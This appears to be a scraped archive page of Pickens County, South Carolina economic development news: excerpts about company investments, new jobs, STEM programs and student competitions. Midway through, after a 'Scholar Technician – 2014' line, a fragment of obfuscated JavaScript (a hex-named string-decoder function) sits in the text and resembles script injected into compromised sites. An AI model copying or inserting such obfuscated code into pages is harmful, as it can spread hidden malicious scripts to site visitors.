According to ElringKlinger leaders, construction is going as scheduled for the massive plant near the Greenville-Pickens Speedway EASLEY, S.C. — Construction is in full swing along Calhoun Memorial Highway in Pickens County. According to Jürgen Weingärtner, with ElringKlinger, they plan to create batteries for electric vehicles on site. The first of two concrete pads have…
EASLEY, S.C. (FOX Carolina) – ElringKlinger, a global automotive supplier, announced Monday that it selected Pickens County to establish the company’s first South Carolina operation. The company invested $40.3 million in the new operation. ElringKlinger said the operation will provide 115 new jobs in Pickens County. Though ElringKlinger is headquartered in Germany, it operates 44…
A 140-year-old German company with its roots in gasket manufacturing is betting on the future of automotive drive trains with a $40.3 million investment in a Pickens County site to serve as its American hub for business and manufacturing. ElringKlinger will manufacture electric battery cell contacting systems at a new 226,000-square-foot facility at 3800 Calhoun Memorial…
EASLEY, S.C. — A German company announced Monday that Pickens County will soon be the location of its first South Carolina operation, bringing dozens of new jobs. ElringKlinger Group said the $40.3 million investment will create 115 new jobs. The company will manufacture electric battery cell contacting systems at its new 226,000-square-foot facility located at…
Carolina Handling Announces $23 Million Investment in Pickens County Carolina Handling, a material handling systems integrator, announced it is growing its South Carolina footprint with a new operation in Pickens County. The $23.2 million investment will create 100 jobs in the next five years. Carolina Handling will consolidate its four Upstate South Carolina distribution and…
Source: Carolina Handling – June 20, 2024 CHARLOTTE, NC (June 20, 2024) – Carolina Handling, the exclusive Raymond Solutions and Support Center for South Carolina, North Carolina, Georgia, Alabama and Florida’s central time zone, broke ground today on a new 267,000-square-foot facility in Pickens County, South Carolina. Scheduled to open in spring 2025, the new building…
Source: Jason Evans, Pickens County Courier – June 7, 2023 EASLEY — Sulzer Pump Solutions Inc. announced last week that it will be investing more than $5 million to expand its Pickens County operations. According to a release from the S.C. Department of Commerce, Sulzer Pump Solutions will be expanding to support new product lines. “The…
$5.3 million investment will create 25 new jobs Source: Kasie Strickland, The Sentinel-Progress – June 6, 2023 EASLEY — Sulzer Pumps Solutions, Inc. (Sulzer Pumps Solutions), a subsidiary of Swiss-based Sulzer Ltd, recently announced plans to expand operations in Pickens County. The company’s $5.3 million investment will create 25 new jobs, officials said. “The Easley…
Gun manufacturer to bring approx. 176 new jobs Source: Kasie Strickland, The Sentinel-Progress – May 2, 2023 PICKENS COUNTY — FN America, LLC (FN America) is the United States subsidiary of FN Herstal, S.A., a global firearms manufacturer, that recently announced plans to expand its South Carolina footprint with a new production facility in…
$4 million investment to create 21 new jobs ACI Plastics South, a thermoplastics processor and recycler, today announced plans to establish operations in Pickens County. The company’s $4 million investment will create 21 new jobs. For more than 35 years, ACI Plastics South has been known for its separation technologies for paint removal and instrument…
Farpoint Development is working with Pickens County and South Carolina state officials to ensure the historic integrity of the textile mill’s original structure will be maintained while being adapted to lofted apartments. Plant to become a “mixed-use property,” including loft apartments EASLEY — Alice Company, the diversified holdings firm formerly known as Alice Manufacturing Company,…
Peabody Engineering & Supply, Inc. (Peabody Engineering), a leading manufacturer of industrial polyethylene storage tanks, announced plans to establish operations in Pickens County on December 14, 2020. The more than $5.6 million investment will create 35 new jobs over the next five years. Founded in 1952, Peabody Engineering produces and distributes storage tanks, telecommunication-disguising equipment…
Marlboro Development Team, Inc. announced the completion of a new 50,000-square-foot manufacturing facility for KP Components, Inc. KP Components is an affiliate of Demark-based KP Components Group A/S. They specialize in precision automated CNC machining of complex parts for a variety of industries. Continued growth over the last decade led to the selection of MDT…
A partnership between Blue Ridge Electric Cooperative (BREC) and West Carolina Rural Telephone Cooperative (WCTEL) will bring high-speed broadband internet to Pickens County. The creation of Upcountry Fiber and an investment of more than $150 million was announced on May 18, 2021. “As the pandemic kept workers and students at home, many found that their…
Pickens County will be the site of a new plant from an expanding manufacturing company, a Denmark-based precision components manufacturer, KP Components. It is a $16 million investment that intends to create 47 jobs, according to a statement from the state’s Department of Commerce. The company already employs about 65 people in South Carolina. The company will build a 50,000-square-foot…
U.S. Waffle Company recently announced a $22.1 million investment, moving into the former NCR building off U.S. Highway 123 in Liberty and expecting to create at least 114 new jobs. “We’re so proud that U.S. Waffle Company is choosing to make Pickens County your new home,” county council chairman Roy Costner said. Costner said Pickens…
PICKENS COUNTY — Alliance Pickens, in partnership with the School District of Pickens County, announced Jacob Campbell of the Pickens County Career and Technology Center and Pickens High School as the winner of the 2019 Pickens County Scholar Technician of the Year Award. Sponsored by Alliance Pickens, The Scholar Technician of the Year is an…
LIBERTY — U.S. Waffle Company announced on Thursday plans to launch a new frozen food processing facility in Pickens County. The company’s $22.1 million investment is projected to create approximately 114 new jobs, according to the S.C. Department of Commerce. “We’re excited for our new Pickens County facility to come online, as it will allow…
LIBERTY — A Greenville-based waffle and pancake manufacturer is moving its entire operations to Liberty. U.S. Waffle Company’s $22.1 million investment in the former NCR building is expected to create at least 114 new jobs, county officials announced Thursday evening. “We’re so proud that U.S. Waffle Company is choosing to make Pickens County your new…
Liberty, SC – IN4.0S US in partnership with DMG MORI, one of the world’s largest and most respected machine tool builders, announced at the Alliance Pickens STEM “Evening of Celebration” held on May 21, a gift of a state-of-the-art DMG MORI 5 axis machining center to the Pickens County Career and Technology Center. Thanks to…
LIBERTY — IPSUM Technologies announced plans to invest $19.2 million to build what one company official calls a “factory of the future” at the Pickens County Commerce Park. The announcement was made Wednesday morning at the Alliance Pickens office. It is expected to create 55 new jobs. “We are really, really excited for the future that…
LIBERTY — The Pickens County Career and Technology Center is working to provide students with work experience that goes beyond the average after-school job and is partnering with area industry and local businesses to do so. The center is working with Alliance Pickens and the district’s middle and high schools to provide “career discovery and…
LIBERTY — A business that began in the trunk of a car is moving to a 52,000-square-foot building as the first tenant in a newly created multi-county industrial/business park in Easley. Hal and Angel Rice announced the expansion of leisurewear company Under the Carolina Moon and its parent company Advertising Authorities during a joint meeting…
Alliance Pickens would like to congratulate the Clemson Tigers on their 2019 National Championship win! Clemson University, which is located in Pickens County, is one of many attractions to our area. Read more about Clemson’s win below: For the second time in three years, Clemson is on top of the college football world, crushing Alabama…
PICKENS — TaylorMade Golf Company, one of the tenants of the Pickens County Commerce Park, is anticipating a $8 million expansion. In April 2013, county officials announced that TaylorMade Golf Company would be building a facility in the commerce park, located in Liberty, and Alliance Pickens executive director Ray Farley said the company has built…
Pickens County – Alliance Pickens, in partnership with the School District of Pickens County, announced Ben Cannon of the Pickens County Career and Technology Center and Daniel High School as the winner of the 2018 Pickens County Scholar Technician of the Year Award. Sponsored by Alliance Pickens, The Scholar Technician of the year is an…
LIBERTY – KeyMark, Inc. a leading provider of business process automation solutions, officially moved into its new headquarters last month. Located in the Pickens County Commerce Park at 105 Tech Lane, the move completed a $6 million investment in the company’s growth and commitment to the community. The new 23,000-square-foot headquarters will allow KeyMark to…
PICKENS COUNTY — In a special called meeting on Tuesday morning, the Pickens County Council approved the third reading of an ordinance providing for a fee in lieu of tax and incentive agreement for “Project Dairy” — a code name for a business which was revealed to be United Tool and Mold, Inc., a leading…
PG Aerospace coming to Liberty The company is expected to bring over 20 jobs to the area. By Kasie Strickland – kstrickland@championcarolinas.com County Councilman Roy Costner welcomed the company to Liberty. Kasie Strickland | The Sentinel-Progress Ray Farley Kasie Strickland | The Sentinel-Progress LIBERTY — In a special called meeting by the Pickens County Council…
German company cuts ribbon on Pickens County facility FacebookTwitterShare Posted on June 29, 2017 By Greg Oliver The Journal PICKENS COUNTY — More than 13 months after announcing the move of their North American headquarters to Pickens County, officials with Germany based era-contact USA officially cut the ribbon for their new facility Wednesday. Company officials…
Alliance Pickens director excited about projects at commerce park Facebook Twitter Share Posted on April 15, 2017 By Greg Oliver The Journal LIBERTY — A grin comes across Alliance Pickens executive director Ray Farley’s face when he talks about the four expansion projects underway at the Pickens County Commerce Park. Four projects are currently underway…
Pickens County welcomes latest economic development announcement By GREG OLIVER THE JOURNAL PICKENS COUNTY – When JR Automation Technologies, LLC, based in Holland, Michigan and a global leader in custom automation solutions, agreed to establish operations in Pickens County in 2011, the deal was sealed with a basket of peaches. History repeated itself Monday at…
By Jason Evans Staff Reporter jevans@thepccourier.com COUNTY — A new neighbor is moving into the “world-class neighborhood” that is the Pickens County Commerce Park. The company, era-contact GmbH, a world market leader in electrical railway couplings, announced last week that it will be locating its North American manufacturing headquarters in Pickens County. The $3.4 million…
Reliable Automatic Sprinkler Co., Inc., one of the world’s largest producers of automatic fire sprinklers, is expanding its existing operations in Pickens County. The new development is expected to bring $23.1 million in capital investment and lead to the creation of 100 jobs. Reliable’s plant will be expanded by 150,000 square feet to bring their…
PICKENS COUNTY — era-contact, a German based company that produces couplings for electric railways, announced a new facility to be built in Commerce Park off U.S. 123 in Liberty. The space will serve as the company’s North American headquarters, bringing 45 new jobs to the Upstate as well as a $3.6 million investment to the…
PICKENS COUNTY — The 2015 Alliance Pickens Scholar Technician of the year was Steven Hoke Durham, with Nathan Brown and Sylvia Townsend also placing as finalists. Durham is a graduate of the Machine Tool Technology program at the Pickens County Career and Technology Center who also attended Daniel High School. He is currently approaching his…
By GREG OLIVER THE JOURNAL PICKENS COUNTY – For the second time in a little less than a month, a major economic development announcement took place at the Alliance Pickens headquarters in Liberty as a German based company announced Wednesday that the county would serve as its North American headquarters. The company, called era-contact, is…
Project Big Apple came to fruition Wednesday, with the announcement that the world’s leader in high-speed railway couplings is moving its North American manufacturing headquarters to Pickens County. County Council gave final approval to a fee-in-lieu of taxes agreement and other incentives in a special meeting at Alliance Pickens headquarters to make way for the…
COUNTY — Alliance Pickens, with input from Pickens County existing industry partners, the Pickens County Career and Technology Center (CTC), and Tri-County Technical College, developed the Scholar Technician initiative in 2012 as a work-force development activity and economic development program. This initiative focuses on the subject areas of Science, Technology, Engineering, and Mathematics (STEM), and…
By GREG OLIVER THE JOURNAL PICKENS COUNTY – John Cutchin currently serves as president of Palmetto Plating Co. Inc, a metal plating and finishing services company in Easley founded in 1964. But Cutchin also enjoys another distinction – the county’s first Scholar Technician. Cutchin also believes in giving back to the local community. For the…
Zero Connect, an assembler and distributor of fiber optic and copper cables, is establishing operations in Pickens County. The new development will create 72 new jobs and lead to an investment of more than $1.3 million. Zero Connect is a custom cable assembly manufacturer and supplier of off-the-shelf fiber and copper products for voice, data…
By GREG OLIVER THE JOURNAL PICKENS COUNTY – The economic development train is rolling right along in Pickens County these days and Zero Connect is the latest passenger to board. On Tuesday, the company announced they were establishing operations in the county, coupled with a $1.3 million investment to create 72 new jobs. Zero Connect…
By GREG OLIVER THE JOURNAL PICKENS COUNTY – Alliance Pickens Executive Director Ray Farley has witnessed the influx of economic development at the Pickens County Commerce Park. But like all economic officials, Farley has also seen time go by when no announcements of new industry or expansions occurred. Of course, Farley prefers to see economic…
An Iowa-based company that assembles and distributes fiber optic and copper cables is opening up operations in Easley and plans to create more than 70 jobs, the company founder said. Zero Connect had decided to locate its new facility in Greenville before meeting Ray Farley, director of Alliance Pickens, and other Pickens County officials, Larry…
By GREG OLIVER THE JOURNAL PICKENS COUNTY – A little more than 12 years from the day ground was broken for its new home at the Pickens County Commerce Park, Reliable Automatic Sprinkler Co., Inc. will soon see dirt flying for a second time since officially beginning operations in 2006. The third generation company, which…
Staff Report gsanews@scbiznews.com Published April 28, 2016 Reliable Automatic Sprinkler Co. said it plans to add on to its facility in Liberty. The New York-based company specializes in manufacturing automatic fire sprinklers and said the new addition includes $23.1 million in new capital investment and will add 100 new jobs at the facility. This is the…
The following was excerpted from the April 15, 2016 New York Times Op/Ed. The article can be read in its entirety on the New York Times Website. By Katherine S. Newman and Hella Winston April 15, 2016 CANDIDATES from both parties have been talking a lot about the loss of American jobs, declining wages and…
When a pilot starts a turbine- or piston-powered aircraft, chances are good the ignition system or its components were made at Champion Aerospace in Liberty. The business, with more than a century of aviation history and a brand well known to automotive parts consumers, has manufacturing operations and research and development labs in a 220,000-square-foot…
Ray Farley — executive director of Alliance Pickens, the economic development group in the county — anticipates an active economic development period once things fall into place at the Pickens County Commerce Park. Now home to manufacturers such as St. Jude Medical, Adidas-TaylorMade, KeyMark Inc., Tri-Tech USA and Reliable Automatic Sprinkler Co. Inc., the Pickens…
Pickens County is now among the ranks of Certified Work Ready Communities, sending a strong message to prospective job creators about the skills of the county’s workforce. South Carolina Certified Work Ready Communities are certified by ACT based on four criteria: the National Career Readiness Certificate, business support, high school graduation rate, and soft skills.…
The South Carolina Chamber of Commerce did a study in 2003 to try to find out what kind of workforce development was needed to meet the needs of the state’s business and industry. It found that midlevel-skill jobs that required some postsecondary training but not a four-year college degree were the most critical need, but…
The sign isn’t out front yet, and the landscaping’s not quite finished, but the wheels of economic development have begun turning anew inside Alliance Pickens’ new building. The 6,000-square-foot facility, located within the 310-acre Pickens County Commerce Park in Liberty, is another tool to help leaders like Ray Farley, executive director of Alliance Pickens, recruit…
COUNTY — ACT scores improved for the School District of Pickens County last year. Pickens remained the top county-wide district in the state for ACT scores and had the fourth-highest scores of any traditional public school district in the state. “The ACT results are a great reflection on what our district does to make sure…
CLEMSON — A Clemson University student who will receive her master’s degree on Friday said she will pay off her student loans and establish a scholarship with the $100,000 she won for developing manufacturing software. Valerie Pezzullo, 24, won first place in the MTConnect Challenge 2 for an application that detects vibrations in metal-cutting machines…
Learn more about how Pickens County, South Carolina. USA is continuing to excel in areas of Science Technology Engineering and Mathematics (STEM) education via a collaboration between the School District of Pickens County, Tri-County Technical College and Clemson University by watching this newly released video. Scholar Technician℠ – 2014 function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);};
By Greg Oliver PENDLETON — When Tristan Worley lost his job, he admits things got a little scary. “I was looking for a way to provide for my family,” Worley said. “I was applying everywhere I could, but most were temp services that were low paying.” Worley attended a job fair at Tri-County Technical College…
– Staff PICKENS COUNTY — Guidance counselors from all Pickens County schools recently collaborated with seven local manufacturing companies to learn about technology and job skill requirements by seven local manufacturing companies. The guidance counselors gathered at the Pickens County Career and Technology Center on October 28 to hear about job outlooks, Career Center technology…
For the second year in a row, Comatrol/Danfoss was named as one of the Best Places to Work in South Carolina. This eighth annual program was created SCBiz in partnership with the South Carolina Chamber of Commerce and Best Companies Group. This survey and awards program was designed to identify, recognize, and honor the best…
For two days, more than 5,000 8th and 9th graders from Pickens, Anderson and Oconee counties had an opportunity to visit with representatives from local companies with the goal of learning more about how to prepare for their future careers. The Anderson – Oconee – Pickens Business and Industry Showcase, held at Littlejohn Coliseum on…
By Greg Oliver CLEMSON — Littlejohn Coliseum was packed Wednesday morning but those in attendance weren’t there to see a basketball game. Instead, the middle school students who attended from Oconee, Pickens and Anderson counties were there to seek options on career possibilities during the fourth annual Business and Industry Showcase. “We probably have 60-65…
By Bill Poovey They are part of a long championship run in mechatronics. These ambitious students design, program and build robotic controls and other high-tech gadgets in an Upstate classroom-laboratory. Learning in an environment that sometimes requires safety goggles, their skills have made the Pickens County Career and Technology Center a prime recruiting stop for…
Pickens County high school seniors excelled in their ACT testing in 2013, scoring above both state and national averages. Our students earned an average score of 21.8, higher than the South Carolina public school average of 20.1 and the national average of 20.9. Although the district continued to compare favorably to state and national averages,…
By Del Stover Not long ago, a manufacturer asked for assistance from the Pickens County Career and Technology Center. A factory robot needed to be retooled for a new product, and the company’s technicians were too busy to do the work. Could the high school’s students take on the project? His kids were up to…
By Greg Oliver LIBERTY – Brandon Hall and John Hayes, who recently graduated from Daniel High School, will both attend Greenville Technical College this fall to pursue mechatronics degrees they say will open up numerous career opportunities. In fact, Hayes is already gaining valuable experiences through his employment at Cornell Dubilier, an international electronics manufacturer based…
Brandon Hall and John Hayes won Bronze in the Mechatronics competition at the Skills USA’s 48th annual National Leadership and Skills Conference in Kansas City on June 28. Hall and Hayes graduated from Daniel High School this spring, and were both students in the mechatronics program at the Pickens County Career and Technology Center. “This…
By Monica Kreber SENECA – Last week, South Carolina had the lowest average gas price in the country at $3.22 per gallon. Since then, the average price has dropped to $3.16 per gallon and South Carolina still holds the title for the lowest average. Angela Vogel Daley, spokesperson for AAA Carolinas, said the average might…
Pickens County students took home top honors in the 2013 Glider Challenge held April 25 at Lockheed Martin at the South Carolina Technology and Aviation Center. The R.C. Edwards Middle School team, “The UFOs,” won first place in the 2013 Glider Challenge. Team members were Clary Miles, Robert Weir, Khalil Anderson and John Robert. The…
By Melissa Keeney Liberty, S.C. – Inside the Pickens Career and Technology Center, Hank Hutto’s classroom is full of massive machines and impressive robots that students make look like child’s play. “I thought, it sounded like fun, so I’ll take it,” says Brandon Hall, when he remembers how he was first introduced to Hutto’s course. …
By Patrick Lark, Cornell Dubilier Pickens County once again has bragging rights to a State Championship in Mechatronics. Mechatronics is a blend of mechanical and electrical fields required to keep modern manufacturing in motion. Brandon Hall and Johnny Hayes brought home the 6th consecutive championship. Chance Hall and Ian Bayne took 4th. 3 years ago…
By Joe Toppe PICKENS COUNTY – TaylorMade Golf Company’s $13 million investment into Pickens County has city and county officials talking about the future. “We would like to join Pickens County and Alliance Pickens in welcoming Taylormade to our community,” said Pickens City Administrator Katherine Brackett. “The continued growth of the Pickens County Commerce Park…
By Julie Howle An ideal location, business friendly environment and highly skilled work force with training and education available at area colleges and universities were all part of the draw that led to TaylorMade Golf Co.’s decision to build a new golf ball production facility in Pickens County, company officials said. TaylorMade Golf announced plans…
By Nikie Mayo TaylorMade Golf Company will invest $13 million to build a new golf ball production plant in Pickens County and will shutter its operations in nearby Westminster, corporation officials said Wednesday. The new 120,000-square-foot plant in Liberty will serve as TaylorMade’s North American golf ball production headquarters. Executive Vice President John Kawaja said…
By Julie Howle The TaylorMade Golf Co. announced plans Wednesday to build a new golf ball production facility in Pickens County that will mean an investment of $13 million and could create new jobs. “An internationally known brand name, TaylorMade-adidas, has chosen to not only locate in Pickens County but they’re going to own this…
By Joe Toppe PICKENS COUNTY – The TaylorMade Golf Company will establish a 120,000 square-foot golf ball production plant in Liberty and expects to break ground next month. “South Carolina is home to a number of world-class, well-known brands, and it’s great to see another one choose to grow in the Palmetto State,” said Gov.…
By Carolyn Farr Smith A golf ball manufacturer announced plans to invest $13 million in Liberty Wednesday to build a state-of-the-art production facility and expand operations in South Carolina. TaylorMade Golf Company will establish a new manufacturing and research and development facility in Pickens County. The 120,000-square-foot production plant will be housed in the Pickens…
On Wednesday TaylorMade Golf Company announced it will invest $13 million in a new 120,000-square-foot plant to be located in the Pickens County Commerce Park. Learn more about the company’s future plans in Pickens County by watching the video below. TaylorMade Announces New Facility in Pickens County, SC. USA TaylorMade Putting Down Roots in Pickens…
COLUMBIA, S.C. – April 3, 2013 – TaylorMade Golf Company will establish a new golf ball production facility in Pickens County. The company will invest $13 million in creating the new state-of-the-art facility. “The opportunity to have a permanent home in Pickens County was too good of an opportunity for our company to pass up,”…
By Greg Oliver Tri-County Technical College on Friday formally unveiled its state-of-the-art Industrial Technology Center, a 43,000-square foot-facility located less than five miles from the Pendleton campus. During a dedication and ribbon-cutting ceremony featuring county and state-elected officials from Oconee, Pickens and Anderson counties, Tech President Ronnie Booth said the college purchased the former Virginia…
Learn more about the Pickens County Scholar Technician, the School-to-Registered Apprentice Program and the School District of Pickens County’s Science, Technology, Engineering and Mathematics (STEM) learning initiatives by taking a look at these short videos. The Scholar Technician – Pickens County, SC. USA SC School-to-Registered Apprenticeship program – United Tool and Mold STEM in the School…
By Greg Oliver LIBERTY – Approximately 180 students representing 16 Pickens County elementary schools used engineering principles to race balloon-powered toy cars at the School District of Pickens County’s Jet Toy Challenge on Tuesday. Two teams from Forest Acres Elementary School won the top two spots and will advance to the Anderson-Oconee-Pickens Jet Toy Challenge…
Staff Report Students at the Pickens County Career and Technology Center proved their job-ready skills this year by solving a robotics problem for a manufacturing company. CTC mechatronics students successfully programmed a robot to build a prototype capacitor for Cornell Dubilier. CTC director Leonard Williams said engineers from Cornell Dubilier approached the school in November…
By Greg Oliver LIBERTY – United Tool and Mold Inc. President Scott Phipps said that in order for the U.S. to regain its position as market leaders, preparing the employees of tomorrow is now a must. As a result, United Tool and Mold Inc. is teaming up with The Pickens County Career and Technology Center…
By Jennifer Crossley Howard LIBERTY — The School District of Pickens County has long prepared high school students for careers in machine technology at United Tool and Mold. On Wednesday, the school district and the company formalized their relationship and announced an apprenticeship program. The district’s Career and Technology Center, Apprenticeship Carolina and United Tool…
Editorial Some significantly progressive planned improvements to the region’s economic development effort came to light in Easley last week. It involves the use of something called the WorkReady program essentially to market our region and state to outside business development. It may offer other advantages beyond its initial production of a listing of available skills.…
By Lonnie Adamson EASLEY — Area economic development officials are taking steps to quantify workforce abilities as a tool for attracting new industry. The new program is called WorkReady, and state officials are working on funding options to make it available statewide. The statewide endeavor began with interest from Pickens, Oconee and Anderson economic developers.…
Ray Farley, the Executive Director of Alliance Pickens, was recently presented with the “Outstanding Business and Industry Friend of Career and Technology Education Award” by the South Carolina Association of School Administrator’s Career and Technology Education Division. The annual award is given to a member to the business and industry community that has demonstrated his…
Comatrol, a manufacturer of hydraulic cartridge valves located in Easley, was recently named as one of the 2012 Best Places to Work in South Carolina. The annual award, sponsored by SCBIZ Magazine, the South Carolina Chamber of Commerce and Best Companies Group, recognizes companies across the state that provide outstanding work environments for their employees.…
By Greg Oliver LIBERTY — Sealevel, a manufacturing facility that opened 26 years ago, has added 20 new employees, a new circuit assembly line and undergone two major facility expansions during the past year-and-a-half. On Tuesday, business and industry leaders gathered at the plant’s site on S.C. 93 in Liberty to celebrate the news and…
By Liz Segrist Liberty-based Sealevel plans to hire five people and invested $2.5 million to accommodate its facility expansion. Sealevel unveiled its new circuit assembly line and expanded manufacturing facility during a Tuesday announcement by Sealevel executives, Pickens County Council and Alliance Pickens. The hires will be for engineers and process control associates. The investment…
PICKENS COUNTY — STEM (Science, Technology, Engineering and Mathematics) programs available to students in the Pickens County school district show that there are viable career options for those children who are not interested in what some view as a more traditional, four-year university education. Ray Farley, executive director of Alliance Pickens, recently organized a dinner…
Liberty, SC – Just a little more than a week after local business and industry came together to raise more than $10,000 to support the School District of Pickens County’s Science, Technology, Engineering and Mathematics (STEM) initiatives, a Pickens County company is raising the bar with another donation aimed at supporting technical education. United Tool…
LIBERTY — Alliance Pickens and the School District of Pickens County celebrated distinguished students and teachers at a dinner banquet on Tuesday, May 22, at the new Career and Technology Center in Liberty. At the close of “Pickens County Science, Technology, Engineering and Mathematics (STEM): An Evening of Celebration,” the SDPC was presented with a…
PICKENS COUNTY – Daniel High School is South Carolina’s top traditional public high school according to U.S. News & World Report’s rankings released last week. Only Charleston’s Academic Magnet High School and the Charleston County School of the Arts ranked above the Pickens County school. Sharon Huff, principal, said, “I am very proud of our…
Daniel High School is South Carolina’s top traditional public high school according to U.S. News & World Report’s rankings released yesterday. Only Charleston’s Academic Magnet High School and the Charleston County School of the Arts ranked above the Pickens County school. Sharon Huff, principal, said, “I am very proud of our students and teachers. Our…
In what has become an annual occurrence, the School District of Pickens County is once again home to the South Carolina State Champion mechatronics team. Mechatronics programs teach students to combine mechanical and electrical engineering principles and since 2004, the team from Pickens County has won first place 7 times at the statewide SkillsUSA competition…
PICKENS COUNTY — Alliance Pickens and the School District of Pickens County are working together to celebrate a group of students that have distinguished themselves in the subject areas of Science, Technology, Engineering and Mathematics, or STEM as they are collectively referred to. The event, “Pickens County Science, Technology, Engineering and Mathematics, an Evening of…
By: Billy Cannada PICKENS COUNTY-Two teams from Clemson Elementary, the “Electric Lemons” and team “JDW” took home highest honors at the Society of Automotive Engineers’ International JetToy competition in Detroit, Michigan last week. Led by their teacher Meredith Cross, the fifth graders were named Grand Champions at the event. The teams included; Jakob Ables, Will…
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By Julie Howle Say a rock band went on tour, stopping in South Carolina, Pennsylvania, Missouri and South Dakota, and the band contracted an illness. Now it’s your job to figure out where they got it. Doesn’t sound like your traditional seventh-grade science query, does it? But soon, seventh-graders in one Pickens County middle school…
Greenwood, SC – Pickens County was presented with the Rural Education Award for the Business and Industry Showcase by Governor Nikki Haley at the 22nd Annual Rural Summit sponsored by the South Carolina Department of Commerce. The Business and Industry Showcase, a collaborative effort sponsored by Pickens, Anderson and Oconee Counties, reaches approximately 5,000 8th…
After a year that has included hosting summer camps, fundraising at Clemson footballs games and countless hours building their robot, members of Pickens County FIRST Robotics Team 2751 were excited to finally see their robot in action at the Smoky Mountains Regional Competition held in Knoxville, TN. For two days, 54 robotics teams, some from…
PICKENS COUNTY – It’s not every day that you get to be part of a team that designs, builds and teaches a robot to play basketball, but that is exactly what the members of Pickens County FIRST Robotics Team 2751 are doing. This year, FIRST Robotics teams from around the world are tasked with constructing…
PICKENS COUNTY – Two Pickens County companies, JM Mold South and United Tool and Mold, both of Easley, were recently recognized by MoldMaking Technology, a top industry publication, as “Lead-Time Leaders”. MoldMaking Technology, which considers companies from across the United States, chooses only four companies in two categories to receive the award each year. The…
By Liz Segrist Companies keep bringing high-tech manufacturing jobs to Pickens County. Economic developers and company heads say tax incentives and an educated workforce are the driving forces behind expansions or new facilities. Pickens County has had four jobs announcements since June, with YH America South Carolina LLC making the largest announcement on Oct. 11.…
EASLEY — Officials with Kongsberg Automotive have been dealing with a problem that many company officials would like to have — their businesses was growing too large for their existing facilities in Pickens. Due to rapid growth, Kongsberg needed to double current plant capacity. Company officials considered moving the plant — which manufactures aerospace, truck…
EASLEY — YH America South Carolina LLC, a manufacturer of automotive components, today announced that the company will expand its existing operation in Pickens County. The $5.14 million investment is expected to generate 93 new jobs. “Demand for our products continues to grow and we’re excited the new business is giving us an opportunity to…
By Julie Howle PICKENS — A manufacturer of automotive components said Tuesday the expansion of its existing operation in Pickens County will mean an investment of about $5.14 million over five years and the creation of 93 jobs. YH America South Carolina LLC, at 109 Gillespie Drive off of State 93 between Easley and Liberty, assemblies…
By Greg Oliver This is the second of a two-part series on the economic development recruitment success of Pickens County. Pickens County takes a back seat to no one when it comes to economic development. Whether through its commerce park that welcomed the first occupant in 2004 and now has five firms, to three industries…
By Greg Oliver This is the first of a two-part series on the economic development recruitment success of Pickens County PICKENS COUNTY — It seems like only yesterday when Pickens County leaders were feverishly seeking to jumpstart economic development while looking over their shoulders at successful neighboring counties. The loss of long-time textile plants was…
By Jason Evans EASLEY — A company based in Denmark has selected Easley as the site of its North American headquarters. KP Components, Inc., a Computer Numeric Controlled precision machining company, announced Tuesday that it would be investing $10 million in its Easley headquarters, as well as creating over 50 new jobs over the next…
PICKENS — Pickens County continues to reap the benefits of economic development as Michigan based JR Automation Technologies LLC announced plans Tuesday to expand and locate its new sales, engineering and manufacturing facility in the county. Based in Holland, Mich., JR Automation Technologies is a maker of automation equipment for the automotive, pharmaceutical, food and…
By Jason Evans PICKENS COUNTY — Local officials say that JR Automation Technologies, LLC will not only bring at least 54 new jobs to Pickens County, but will also have a great impact on area businesses as well. Officials with the Michigan-based automated specialty equipment company announced on Tuesday that it will be expanding to…
EASLEY — Palmetto Plating of Easley is featured in a top industry publication in recognition of their superior capabilities and excellent customer service. In a four page article, Metal Finishing focuses on the company’s ability to meet the unique needs of their current customers while continuing to explore new technology and processes that will ensure…
PICKENS COUNTY – While their classmates are getting ready for some time off this summer, two local students are preparing to represent the School District of Pickens County in a major competition. In April, Jared Venesky and Russell Brinson finished in first place in mechatronics at the South Carolina SkillsUSA Competition held at the Carolina…
By Liz Segrist Michigan-based VCI-SC Inc., a metal-parts manufacturer, announced Tuesday it will create up to 50 jobs and make a $2 million investment with the opening of a new facility in Pickens County. The company is an automotive supplier for BMW Manufacturing Co. in Spartanburg County and other original equipment manufacturers. It’s also involved…
By Jason Evans PICKENS — As the recession has affected home construction and sales, so too has it affected providing power to new homes and businesses. Blue Ridge Electric Cooperative President and CEO Charles Dalton said last year saw the slowest growth for the cooperative since the days of World War II — with only…
By Liz Carey CENTRAL — An Upstate high school has been named one of the top schools in the country, according to Newsweek magazine. D.W. Daniel High School in the School District of Pickens County was ranked 1,294 out of 1,500 schools, according to the magazine. Twenty-two schools in South Carolina are on the 2009…
By Rick Spruill LIBERTY — Tri Tech USA Inc. hosted a beam-signing celebration Friday to mark the near-completion of a construction project in Pickens County The company’s new 41,000-square-foot manufacturing building in the Pickens County Commerce Park in Liberty will house more than $4,000,000 worth of technology and at least 40 new employees, according to…
By Greg Oliver Alliance Pickens Executive Director Ray Farley said he could tell from the moment he first spoke to Tri Tech USA, Inc. owners Joe and Linda Bacigalupo about moving their Vermont industry to Pickens County that they indeed were special people. Farley and other officials were on hand Friday morning at the site…
By Greg Oliver The Pickens County Commerce Park, site for a number of economic development celebrations in recent years, will host another one at 9:30 a.m. today when Tri Tech USA, Inc. will officially celebrate construction of its new headquarters and manufacturing facility. Last December, Tri Tech USA, Inc. announced plans to relocate its operations…
By Julie Howle A beam signing is planned for Friday at Tri Tech USA Inc., a company that is coming to Pickens County and bringing jobs and millions of dollars in investment with it. Tri Tech USA, which has been based in South Burlington, Vt., announced in December that it was relocating its headquarters and…
By Greg Oliver LIBERTY – In an economic climate where most businesses and industries are downsizing or placing freezes on new hires, St. Jude Medical, Inc. is growing. On Thursday, local leaders gathered in the company’s 60,000 square-foot, high-tech facility that opened last month to manufacture hybrid microelectronic circuits. The circuits are critical components used…
By. John C. Stevenson LIBERTY – Civic and political leaders came to Liberty on April 9 to get their first peek at a new manufacturing facility that could employ as many as 300 people within the next five years. St. Jude Medical Inc., which already has a plant in Liberty, celebrated the dedication of a…
By Sandy Foster LIBERTY — A new industry is moving to Pickens County and bringing with it about 40 jobs, according to economic development officials. Tri Tech USA officials plan to start construction of a new facility at the county’s industrial park in Liberty in January and be operational by July or August, said Ray…
